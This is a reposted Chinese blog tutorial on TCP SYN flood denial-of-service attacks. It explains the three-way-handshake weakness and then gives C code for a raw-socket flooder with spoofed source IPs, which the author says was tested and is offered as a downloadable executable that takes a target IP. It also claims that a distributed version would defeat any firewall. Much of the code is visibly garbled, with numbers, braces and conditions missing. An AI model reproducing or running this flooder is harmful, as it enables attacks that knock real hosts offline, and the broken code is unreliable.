本文为原创,如需转载,请注明作者和出处,谢谢!

一、             什么是洪水攻击

洪水之猛、势不可挡。如果将洪水比作对计算机的攻击,那大家可以想象得出,攻击是多的猛烈。

在安全领域所指的洪水攻击是指向目标机器发送大量无用的数据包,使得目标机器忙于处理这些无用的数据包,而无法处理正常的数据包。在攻击过程中,目标机器的CPU的使用率将高于正常值,有时甚至会达到100%。这样将使目标机器的性能急剧下降。这有些象我们在日常生活中的电话,如果要使某个电话瘫痪,就不停地拨这个电话的号码,那么其它的电话就无法拨通这个电话,当然,要想不接到骚扰电话,唯一的方法是将电话线拔了。同样,要想计算机完全避免洪水攻击的唯一方法,就是不让这台计算机上网,更直接的就是将网线拔了。

二、             洪水攻击的原理

洪水攻击也称为拒绝服务攻击。可以有很多种方式进行这种攻击,本文主要讨论比较常用的利用TCP三次握手的漏洞来耗尽计算机资源的方式来进行攻击。

那么什么是TCP的三次握手呢?其实原理很简单。这要从TCP的连接过程说起。我们一般使用Socket API来进行TCP连接。要做的只是将IP或计算机名以及端口号传入connect函数,如果参数正确,目标机器的服务可用的话,这个TCP连接就会成功。之所以连接这么方便,是因为Socket API已经将一些底层的操作隐藏了起来。那么这里面究竟发生了什么呢?

我们由网络7层可知,在TCP所在的传输层下面是网络层,在这一层最有代表性的协议就是IP协议。而TCP数据包就是通过IP协议传输的。这就是我们为什么经常说TCP/IP协议的缘故。TCP在底层的连接并不是这么简单。在真正建立连接之前,必须先进行验证。那么如何验证呢?

假设有两台机器A和B。A使用TCP协议连接B,在建立连接之前,A先发一个报文给B,B在接收到这个数据包后,利用报文中的源地址(也就是A的IP)再给A发一个报文,A在接到这个报文后,又给B发了一个报文,B如果成功接到这个报文后,就正式和A建立TCP连接。过程示意如图1所示:


图1 TCP连接的三次握手

问题就出在第二次握手上。正常情况下,报文的源地址应该是A的IP,但如果是一个非法报文的话,报文的源地址可能并不是A的IP,也许就是一个并不存在的IP。如果是这样,那在第二次握手时,B也就无法找到A了,这当然就不可能发生第三次握手。因为,B找不到A,而A又迟迟得不到B的回信,这样TCP就无法连接。但攻击者的目的并不是要建立TCP连接,而是要耗尽B的资源。由于B找不到A,B也就无法得到A的回信,如果这种情况发生,B并不会将在第一次握手中建立的资源马上释放,而会有一个超时,假设这个时间是10秒。如果A在这10秒内向B发送10000个这样的连接数据包,就意味着B要维护这10000个连接资源。如果过了10秒,B释放了这些资源,A在下一个10称还会发10000个连接包。如果A不断地发这样数据包,就意味着B将永远要维护这10000个连接,因此,B的CPU和内存将被耗尽,至少也得被占用大部分。所以B就无法响应其它机器的请求,或者是响应迟缓。

洪水攻击的实现

在上一部分我们讨论了洪水攻击原理,在这一部分我将给出一个完成的实例说明如何使用C语言来设计洪水攻击程序。

由于报文是用IP协议发送的,因此,我们需要自己定义IP数据包的数据结构,这样我们就可以任意修改IP数据包的内容了。下面是IP协议的数据结构。

typedef struct _iphdr   //定义IP首部 


  unsigned char h_verlen;  //4位首部长度,4位IP版本号 
  unsigned char tos;  //8位服务类型TOS 
  unsigned short total_len;  //16位总长度(字节) 
  unsigned short ident;  //16位标识 
  unsigned short frag_and_flags;  //3位标志位 
  unsigned char ttl; //8位生存时间 TTL 
  unsigned char proto; //8位协议 (TCP, UDP 或其他) 
  unsigned short checksum; //16位IP首部校验和 
  unsigned int sourceIP; //32位源IP地址 
  unsigned int destIP; //32位目的IP地址 
} IP_HEADER;

这个结构比较复杂,我们只看其中3个,其余的成员可以参考《TCP/IP详解卷1:协议》的相关部分。最后两个成员sourceIP和destIP就是上述所说的A和B的IP。而最重要的就是checksum,这个参数是一个验证码,用于验证发送的IP数据包的正确性,我们把这个验证码称为校验和。计算它的函数如下:

USHORT checksum(USHORT *buffer, int size) 



unsigned ;  

  ) 



  cksum+=*buffer++; 

size -=sizeof(USHORT); 

  } 

  if(size ) 



  cksum += *(UCHAR*)buffer; 

  } 

  cksum = (cksum >> ) + (cksum & 0xffff); 

  cksum += (cksum >>); 

  return (USHORT)(~cksum); 

}

看了上面的代码也许会有很多疑问,下面我就简单描述一下如何计算机IP数据包的校验和。IP数据包的校验和是根据IP首部计算机出来的,而并不对IP数据包中的数据部分进行计算。为了计算一个数作为校验和,首先把校验和字段赋为0。然后,对首部中每个16位进行二进制白马反码求和(我们可以将整个IP首部看成是由一组16位的字组成),将结果保存在校验和字段中。当收到一份IP数据报后,同样对首部中每个16位进行二进制反码的求和。由于接收方在计算机过程中包含了发送方存在首部的校验和,因此,如果首部在传输过程中没有发生任何差错,那么接收方计算的结果应该全是1.如果结果不全是1(即校验和错误),那么IP就丢弃收到的数据报。但不生成差错报文,由上层(如TCP协议)去发现丢失的数据报并进行重传。

由于我们要发送假的TCP连接包,因此,为分别定义一个伪TCP首部和真正的TCP首部。

struct  //定义TCP伪首部 


  unsigned long saddr; //源地址 
  unsigned long daddr; //目的地址 
  char mbz; 

  char ptcl; //协议类型 
  unsigned short tcpl; //TCP长度 
}  psd_header; 

typedef struct _tcphdr  //定义TCP首部 


  USHORT th_sport; //16位源端口 
  USHORT th_dport; //16位目的端口 
  unsigned int th_seq; //32位序列号 
  unsigned int th_ack; //32位确认号 
  unsigned char th_lenres;//4位首部长度/6位保留字 
  unsigned char th_flag;//6位标志位 
  USHORT th_win; //16位窗口大小 
  USHORT th_sum; //16位校验和 
  USHORT th_urp; //16位紧急数据偏移量 
} TCP_HEADER;

在以上的准备工作都完成后,就可以写main函数中的内容了。下面是程序的定义部分。

#include <winsock2.h> 

#include <Ws2tcpip.h> 

#include <stdio.h> 

#include <stdlib.h> 
#define SEQ 0x28376839 
#define SYN_DEST_IP "127.0.0.1"//被攻击的默认IP 
#define FAKE_IP "10.168.150.1" //伪装IP的起始值,可以是任意IP 
#define STATUS_FAILED 0xFFFF//错误返回值
int main(int argc, char **argv) 



  int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; 

  ,SendSEQ=; 

  ];  ];  , );  
)  

     strcpy(DestIP, SYN_DEST_IP);

  else

     strcpy(DestIP, argv[]);

  // 以下是声明Socket变量和相应的数据结构
  WSADATA wsaData; 

  SOCKET SockRaw=(SOCKET)NULL; 

  struct sockaddr_in DestAddr; 

  IP_HEADER ip_header; 

  TCP_HEADER tcp_header;

… …

}

下一步就是初始化Raw Socket

 ,),&wsaData))!=)  // 使用Socket2.x版本


      fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode); 

      ExitProcess(STATUS_FAILED); 

  }   

SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,,WSA_FLAG_OVERLAPPED); 
if (SockRaw==INVALID_SOCKET)  // 如果建立Socket错误,输出错误信息


  fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError()); 

  ExitProcess(STATUS_FAILED);

  } 

第二步就是填充刚才定义的那些数据结构

//设置IP_HDRINCL以自己填充IP首部 
  ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); 
if (ErrorCode==SOCKET_ERROR)printf("Set IP_HDRINCL Error!\n"); 

  __try{ 

  //设置发送超时 

  ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); 
if(ErrorCode==SOCKET_ERROR)



   fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError()); 

  __leave; 

  } 

  memset(&DestAddr,,sizeof(DestAddr)); 

  DestAddr.sin_family=AF_INET; 

  DestAddr.sin_addr.s_addr=inet_addr(DestIP); 

  FakeIpNet=inet_addr(FAKE_IP); 

  FakeIpHost=ntohl(FakeIpNet); 

  << | ; ; ; ;//16位IP首部校验和 
  ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址 
  ip_header.destIP=inet_addr(DestIP); //32位目的IP地址 

  ););; <<|);; ); ; ; //校验和 

  ; 

  psd_header.ptcl=IPPROTO_TCP;//协议类型 
  psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部长度

  最后一步是通过一个while循环发送向目标机器发送报文

  )

 { 

  //每发送10000个报文输出一个标示符 
  printf("."); 

  ;counter<;counter++){ 

  ) SendSEQ=;//序列号循环 

  ;//16位IP首部校验和 
  ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址 

  ; //校验和 

  //更改TCP Pseudo Header 
  psd_header.saddr=ip_header.sourceIP; 

  //计算TCP校验和,计算校验和时需要包括TCP pseudo header 
  memcpy(SendBuf,&psd_header,sizeof(psd_header)); 

  memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); 

  tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); 

  //计算IP校验和 
  memcpy(SendBuf,&ip_header,sizeof(ip_header)); 

  memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); 

  memset(SendBuf+,); 

  datasize=sizeof(ip_header)+sizeof(tcp_header); 

  ip_header.checksum=checksum((USHORT *)SendBuf,datasize); 

  //填充发送缓冲区 
  memcpy(SendBuf,&ip_header,sizeof(ip_header)); 

  ,   (struct sockaddr*) &DestAddr, 

  sizeof(DestAddr)); 
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError()); 

}

}

到现在为止,我们已经完成了一个洪水攻击的控制台软件。本程序使用VC6.0调试通过。感性趣的读者可以下载本文提供的完整代码。在Debug目录中有一个exe程序,synflooding.exe,可以通过参数将目标IP传入exe。如synflooding 129.11.22.33,如果不带参数,默认就是本机(127.0.0.1)。软件的运行界面如图2所示,攻击后的CPU使用情况如图3如示。

图2 攻击软件运行界面

图3 CPU已经100%

图3是我使用本机测试的结果,如果通过局域网攻击其它的机器,CPU未必能达到100%,但至少也在50%以上,可以使目标机器明显变慢。如果我们通过其它的黑客技术将这个程序改成分布式的洪水攻击,并降低每个单机攻击的频率。这样就算是再好的防火墙也无法防御。除非对方使用蜜罐等手段隐藏或设置虚假IP,否则这种最原始的攻击手段都会奏效。

本文转自银河使者博客园博客,原文链接http://www.cnblogs.com/nokiaguy/archive/2008/04/28/1174529.html如需转载请自行联系原作者

银河使者

用VC实现洪水攻击程序的更多相关文章

  1. linux内核参数sysctl.conf,TCP握手ack,洪水攻击syn,超时关闭wait

    题记:优化Linux内核sysctl.conf参数来提高服务器并发处理能力 PS:在服务器硬件资源额定有限的情况下,最大的压榨服务器的性能,提高服务器的并发处理能力,是很多运维技术人员思考的问题.要提 ...

  2. linux内核参数sysctl.conf,TCP握手ack,洪水攻击syn,超时关闭wait(转)

    http://www.xshell.net/linux/Linux_sysctl_conf.html 优化Linux内核sysctl.conf参数来提高服务器并发处理能力 Posted by 破冰 o ...

  3. Windows 常用运行库下载 (DirectX、VC++、.Net Framework等)

    经常听到有朋友抱怨他的电脑运行软件或者游戏时提示缺少什么 d3dx9_xx.dll 或 msvcp71.dll.msvcr71.dll又或者是 .Net Framework 初始化之类的错误而无法正常 ...

  4. VS15 preview 5打开文件夹自动生成slnx.VC.db SQLite库疑惑?求解答

    用VS15 preview 5打开文件夹(详情查看博客http://www.cnblogs.com/zsy/p/5962242.html中配置),文件夹下多一个slnx.VC.db文件,如下图: 本文 ...

  5. VC程序获取管理员权限

    一: 编译程序的时候设置一下 在项目属性--连接器--清单文件--UAC执行级别改为requireAdministrator 二: void GainAdminPrivileges(CString s ...

  6. 目标电脑未安装VC++6.0或者VS,运行APP丢失DLL问题解决办法

    一.背景 VS或者VC++6.0编译出来的程序需要在未安装VS/VC++6.0的电脑上跑,很大情况会出现MSVCRXXX.dll 或者其他DLL丢失的情形,本篇就DLL相关问题做个记录. 二.正文 1 ...

  7. 6 VC维

    1 VC维的定义 VC维其实就是第一个break point的之前的样本容量.标准定义是:对一个假设空间,如果存在N个样本能够被假设空间中的h按所有可能的2的N次方种形式分开,则称该假设空间能够把N个 ...

  8. VC++6.0 Win32 C2065:SM_XVIRTUALSCREEN

    百度了了一大堆,都说让重装vc++6.0,然而并没有什么卵用. 解决办法:找到你的vc6.0安装路径下的WINDOWS.H,将0x0400改为0x0500 Window各个版本对应的宏值WINVER:

  9. Python黑帽编程 3.3 MAC洪水攻击

    Python灰帽编程 3.3 MAC洪水 传统的交换机(我只对我目前使用的交互机做过测试,按照常识只能这样表述)在数据转发过程中依靠对CAM表的查询来确定正确的转发接口,一旦在查询过程中无法找到相关目 ...

随机推荐

  1. 基于redis的订单号生成方案

    目前,比较火的nosql数据库,如MongoDB,Redis,Riak都提供了类似incr原子行操作. 下面是PHP版的一种实现方式: <?php /** * 基于Redis的全局订单号id * ...

  2. 面试刷题37:微服务是什么?springcloud,springboot是什么?

    面试中被问到为什么要使用微服务架构?springcloud的核心组件有哪些? 拿我们国家的兵种来说,如何把战争这个单体架构微服务化,就是根据适用的场景,拆分出不同的兵种(微服务) 然后每个兵种之间通过 ...

  3. TP5快速入门

    一.查询 //order支持使用数组对多个字段的排序,例如order(['order','id'=>'desc']) //group方法只有一个参数,并且只能使用字符串. //having方法只 ...

  4. springIoc中的单列对象的分析

    最近有个同事去面试,其中有一个问题是关于spring单例的.本篇博文就发表一下小编我自己的理解~~. 使用过spring的程序猿应该都知道,我们的bean(controller.service和Dao ...

  5. 【python实现卷积神经网络】Dropout层实现

    代码来源:https://github.com/eriklindernoren/ML-From-Scratch 卷积神经网络中卷积层Conv2D(带stride.padding)的具体实现:https ...

  6. AJ学IOS 之微博项目实战(2)微博主框架-自定义导航控制器NavigationController

    AJ分享,必须精品 一:添加导航控制器 上一篇博客完成了对底部的TabBar的设置,这一章我们完成自定义导航控制器(NYNavigationController). 为啥要做自定义呢,因为为了更好地封 ...

  7. work of weekend 12/12/2015~12/14/2015

    part 组员                周末工作+今日工作 工作耗时/h 明日计划 工作耗时/h backup 冯晓云 try the backup plan:brower:rewrite bi ...

  8. C++枚举算法

    枚举算法 什么是枚举? 枚举,顾名思义,就是用最笨的方法,去解决问题(暴力枚举),一个集的枚举是列出某些有穷序列集的所有成员的程序,或者是一种特定类型对象的计数.这两种类型经常(但不总是)重叠. 枚举 ...

  9. 功能测试--聊天功能测试&微信聊天

    微信聊天功能测试 发送对象 普通用户.公众号.群.其他特殊主体 衍生功能 转发.语音转文字.删除等 消息发送 单聊.群聊.语音.文字.图片.表情.链接.字符及长度 消息管理 发布通知.接受通知.发文件 ...

  10. python3_learn 实现文件夹内批量对图片重命名

    初衷 练习Python,提高动手能力. 珍藏的壁纸文件夹名命有点乱. 可以学习下一些基础的库 开始(.jpg,无筛选) First 首先找到OS库,寻找可以遍历文件名的.找到了OS.walk() os ...